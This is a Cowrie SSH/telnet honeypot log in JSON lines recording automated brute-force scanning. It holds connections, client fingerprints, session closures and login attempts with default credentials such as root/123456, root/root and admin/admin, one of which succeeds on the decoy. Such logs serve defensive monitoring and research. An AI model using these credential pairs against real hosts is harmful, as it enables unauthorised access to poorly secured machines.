{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:35.484437Z","src_ip":"95.38.165.118","session":"d0402456f9f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":34076,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd5396e981ab","protocol":"ssh","message":"New connection: 95.38.165.118:34076 (10.17.0.5:22) [session: dd5396e981ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:36.840252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:36.845126Z","src_ip":"95.38.165.118","session":"dd5396e981ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:37.017487Z","src_ip":"95.38.165.118","session":"dd5396e981ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:37.154438Z","src_ip":"95.38.165.118","session":"d0402456f9f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:38.679714Z","src_ip":"95.38.165.118","session":"dd5396e981ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:40.283720Z","src_ip":"95.38.165.118","session":"dd5396e981ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":34088,"dst_ip":"10.17.0.5","dst_port":22,"session":"53395ec109b2","protocol":"ssh","message":"New connection: 95.38.165.118:34088 (10.17.0.5:22) [session: 53395ec109b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:41.777221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:41.781238Z","src_ip":"95.38.165.118","session":"53395ec109b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:41.950408Z","src_ip":"95.38.165.118","session":"53395ec109b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:42.689415Z","src_ip":"95.38.165.118","session":"53395ec109b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:44.281010Z","src_ip":"95.38.165.118","session":"53395ec109b2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:44.772761Z","src_ip":"147.139.136.75","session":"c576c70f36ac","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:44.834757Z","src_ip":"147.139.136.75","session":"c576c70f36ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":38320,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f914be8eb90","protocol":"ssh","message":"New connection: 95.38.165.118:38320 (10.17.0.5:22) [session: 9f914be8eb90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:46.805596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:46.994794Z","src_ip":"95.38.165.118","session":"9f914be8eb90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:46.997756Z","src_ip":"95.38.165.118","session":"9f914be8eb90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:48.130933Z","src_ip":"95.38.165.118","session":"9f914be8eb90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:49.297037Z","src_ip":"95.38.165.118","session":"9f914be8eb90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.370880365371704,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:51.892185Z","src_ip":"69.4.83.194","session":"0a6b8a714e75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51288,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc896b6a6b7f","protocol":"telnet","message":"New connection: 69.4.83.194:51288 (159.203.135.109:23) [session: bc896b6a6b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:54.244802Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54120,"dst_ip":"159.203.135.109","dst_port":23,"session":"515c9240353a","protocol":"telnet","message":"New connection: 69.4.83.194:54120 (159.203.135.109:23) [session: 515c9240353a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:25:02.027207Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54230,"dst_ip":"159.203.135.109","dst_port":23,"session":"edd6ca459f34","protocol":"telnet","message":"New connection: 69.4.83.194:54230 (159.203.135.109:23) [session: edd6ca459f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:25:05.338456Z"}
{"eventid":"cowrie.session.closed","duration":77.46031999588013,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:25:08.376884Z","src_ip":"178.128.93.180","session":"ba72c0c46102","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55738,"dst_ip":"159.203.135.109","dst_port":23,"session":"05526ee7f18f","protocol":"telnet","message":"New connection: 69.4.83.194:55738 (159.203.135.109:23) [session: 05526ee7f18f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:25:13.196408Z"}
{"eventid":"cowrie.session.closed","duration":0.0812826156616211,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:25:13.277563Z","src_ip":"69.4.83.194","session":"05526ee7f18f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":55698,"dst_ip":"10.17.0.5","dst_port":23,"session":"abc517f79387","protocol":"telnet","message":"New connection: 178.128.93.180:55698 (10.17.0.5:23) [session: abc517f79387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:25:13.644516Z"}
{"eventid":"cowrie.session.closed","duration":34.1651930809021,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:25:28.409883Z","src_ip":"69.4.83.194","session":"bc896b6a6b7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.64160227775574,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:25:37.668662Z","src_ip":"69.4.83.194","session":"515c9240353a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.70153594017029,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:25:40.039875Z","src_ip":"69.4.83.194","session":"edd6ca459f34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":39988,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f4206130f46","protocol":"ssh","message":"New connection: 37.233.85.71:39988 (10.17.0.5:22) [session: 3f4206130f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:25:44.682206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:25:44.687725Z","src_ip":"37.233.85.71","session":"3f4206130f46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:25:44.801248Z","src_ip":"37.233.85.71","session":"3f4206130f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:25:45.129836Z","src_ip":"37.233.85.71","session":"3f4206130f46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:25:46.241468Z","src_ip":"37.233.85.71","session":"3f4206130f46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54162,"dst_ip":"159.203.135.109","dst_port":23,"session":"d85ab3a86f43","protocol":"telnet","message":"New connection: 69.4.83.194:54162 (159.203.135.109:23) [session: d85ab3a86f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:26:16.088025Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56778,"dst_ip":"159.203.135.109","dst_port":23,"session":"abba83311cb1","protocol":"telnet","message":"New connection: 69.4.83.194:56778 (159.203.135.109:23) [session: abba83311cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:26:23.767335Z"}
{"eventid":"cowrie.session.closed","duration":70.90229177474976,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:26:24.546668Z","src_ip":"178.128.93.180","session":"abc517f79387","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":49400,"dst_ip":"159.203.135.109","dst_port":23,"session":"5538a1b1ae88","protocol":"telnet","message":"New connection: 79.139.59.21:49400 (159.203.135.109:23) [session: 5538a1b1ae88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:26:30.498039Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":49168,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2fa175c8e0c","protocol":"telnet","message":"New connection: 178.128.93.180:49168 (10.17.0.5:23) [session: a2fa175c8e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:26:38.773556Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":35694,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a9a79925b26","protocol":"telnet","message":"New connection: 69.4.83.194:35694 (159.203.135.109:23) [session: 3a9a79925b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:26:44.340048Z"}
{"eventid":"cowrie.session.closed","duration":35.6628053188324,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:26:51.750696Z","src_ip":"69.4.83.194","session":"d85ab3a86f43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40228,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfd58599e289","protocol":"telnet","message":"New connection: 69.4.83.194:40228 (159.203.135.109:23) [session: bfd58599e289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:26:56.039250Z"}
{"eventid":"cowrie.session.closed","duration":33.255154848098755,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:26:57.022390Z","src_ip":"69.4.83.194","session":"abba83311cb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44918,"dst_ip":"159.203.135.109","dst_port":23,"session":"7792a14998df","protocol":"telnet","message":"New connection: 69.4.83.194:44918 (159.203.135.109:23) [session: 7792a14998df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:27:07.916717Z"}
{"eventid":"cowrie.session.closed","duration":33.87511444091797,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:27:18.215078Z","src_ip":"69.4.83.194","session":"3a9a79925b26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52392,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5864fb6d0ac","protocol":"telnet","message":"New connection: 69.4.83.194:52392 (159.203.135.109:23) [session: a5864fb6d0ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:27:25.088375Z"}
{"eventid":"cowrie.session.closed","duration":32.23805022239685,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:27:28.277196Z","src_ip":"69.4.83.194","session":"bfd58599e289","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":69.28023052215576,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:27:39.778093Z","src_ip":"79.139.59.21","session":"5538a1b1ae88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.663819551467896,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:27:41.580413Z","src_ip":"69.4.83.194","session":"7792a14998df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33158,"dst_ip":"159.203.135.109","dst_port":23,"session":"a39608e81880","protocol":"telnet","message":"New connection: 69.4.83.194:33158 (159.203.135.109:23) [session: a39608e81880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:27:47.227967Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":49184,"dst_ip":"10.17.0.5","dst_port":22,"session":"025de1471805","protocol":"ssh","message":"New connection: 103.149.28.157:49184 (10.17.0.5:22) [session: 025de1471805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:27:52.800228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:27:52.850018Z","src_ip":"103.149.28.157","session":"025de1471805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:27:53.053238Z","src_ip":"103.149.28.157","session":"025de1471805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!`v1x=`@&b\"\\bb","message":"login attempt [root/!`v1x=`@&b\"\\bb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:27:54.338359Z","src_ip":"103.149.28.157","session":"025de1471805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33406,"dst_ip":"159.203.135.109","dst_port":23,"session":"b024061646e0","protocol":"telnet","message":"New connection: 69.4.83.194:33406 (159.203.135.109:23) [session: b024061646e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:27:54.864870Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:27:55.592075Z","src_ip":"103.149.28.157","session":"025de1471805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":77.72399425506592,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:27:56.497472Z","src_ip":"178.128.93.180","session":"a2fa175c8e0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.35176682472229,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:27:59.440025Z","src_ip":"69.4.83.194","session":"a5864fb6d0ac","protocol":"telnet"}
